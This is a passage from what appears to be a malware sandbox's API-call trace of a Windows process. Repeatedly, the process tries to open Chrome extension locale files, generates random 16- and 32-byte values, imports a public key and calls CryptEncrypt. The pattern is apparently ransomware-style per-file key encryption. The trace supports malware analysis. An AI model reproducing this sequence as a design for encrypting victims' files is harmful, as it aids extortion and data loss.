Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.748] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.751] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.753] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.753] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.753] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.753] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.756] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.757] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.757] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.757] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.758] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.760] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0ab8) returned 1 [0242.760] CryptGetKeyParam (in: hKey=0x66b0ab8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.760] CryptEncrypt (in: hKey=0x66b0ab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb240000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb240000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.761] GetLastError () returned 0x0 [0242.761] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.761] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.763] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0c38) returned 1 [0242.763] CryptGetKeyParam (in: hKey=0x66b0c38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.763] CryptEncrypt (in: hKey=0x66b0c38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb250000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb250000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.763] GetLastError () returned 0x0 [0242.763] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.763] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.764] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0242.767] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.769] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.772] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.772] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.772] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.775] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.777] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.777] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.777] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.778] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.781] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0d78) returned 1 [0242.781] CryptGetKeyParam (in: hKey=0x66b0d78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.781] CryptEncrypt (in: hKey=0x66b0d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb260000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb260000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.781] GetLastError () returned 0x0 [0242.781] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.781] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.783] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0e38) returned 1 [0242.783] CryptGetKeyParam (in: hKey=0x66b0e38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.783] CryptEncrypt (in: hKey=0x66b0e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb270000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb270000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.784] GetLastError () returned 0x0 [0242.784] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.784] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.785] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.788] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.790] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.790] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.790] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.790] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.792] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.795] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.796] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.796] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.797] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.799] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0c78) returned 1 [0242.799] CryptGetKeyParam (in: hKey=0x66b0c78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.799] CryptEncrypt (in: hKey=0x66b0c78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb280000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb280000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.799] GetLastError () returned 0x0 [0242.799] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.799] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.801] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b08b8) returned 1 [0242.801] CryptGetKeyParam (in: hKey=0x66b08b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.801] CryptEncrypt (in: hKey=0x66b08b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb290000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb290000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.802] GetLastError () returned 0x0 [0242.802] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.802] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.802] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.805] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.807] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.807] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.807] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.807] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.810] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.812] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.813] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.813] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.813] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.815] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0938) returned 1 [0242.815] CryptGetKeyParam (in: hKey=0x66b0938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.815] CryptEncrypt (in: hKey=0x66b0938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb2a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb2a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.816] GetLastError () returned 0x0 [0242.816] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.816] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.818] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0978) returned 1 [0242.818] CryptGetKeyParam (in: hKey=0x66b0978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.818] CryptEncrypt (in: hKey=0x66b0978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb2b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb2b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.818] GetLastError () returned 0x0 [0242.818] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.818] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.819] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0242.822] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.824] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.824] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.824] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.824] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.826] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.829] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.829] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.829] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.829] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0242.831] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b09b8) returned 1 [0242.831] CryptGetKeyParam (in: hKey=0x66b09b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.831] CryptEncrypt (in: hKey=0x66b09b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb2c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb2c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.831] GetLastError () returned 0x0 [0242.831] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.831] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.833] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b09f8) returned 1 [0242.833] CryptGetKeyParam (in: hKey=0x66b09f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.833] CryptEncrypt (in: hKey=0x66b09f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb2d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb2d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.833] GetLastError () returned 0x0 [0242.834] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.834] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.835] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.838] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.840] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.840] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.840] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.840] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.842] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.845] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.845] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.845] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.845] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.848] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0a38) returned 1 [0242.848] CryptGetKeyParam (in: hKey=0x66b0a38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.848] CryptEncrypt (in: hKey=0x66b0a38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb2e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb2e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.848] GetLastError () returned 0x0 [0242.848] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.848] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.851] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0a78) returned 1 [0242.851] CryptGetKeyParam (in: hKey=0x66b0a78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.851] CryptEncrypt (in: hKey=0x66b0a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb2f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb2f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.851] GetLastError () returned 0x0 [0242.851] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.851] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.852] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.856] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.858] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.858] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.858] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.858] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0242.861] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.863] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.863] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.863] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.863] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.866] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b17f8) returned 1 [0242.866] CryptGetKeyParam (in: hKey=0x66b17f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.866] CryptEncrypt (in: hKey=0x66b17f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb300000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb300000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.866] GetLastError () returned 0x0 [0242.866] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.866] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.868] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1738) returned 1 [0242.868] CryptGetKeyParam (in: hKey=0x66b1738, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.868] CryptEncrypt (in: hKey=0x66b1738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb310000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb310000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.869] GetLastError () returned 0x0 [0242.869] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.869] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.869] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 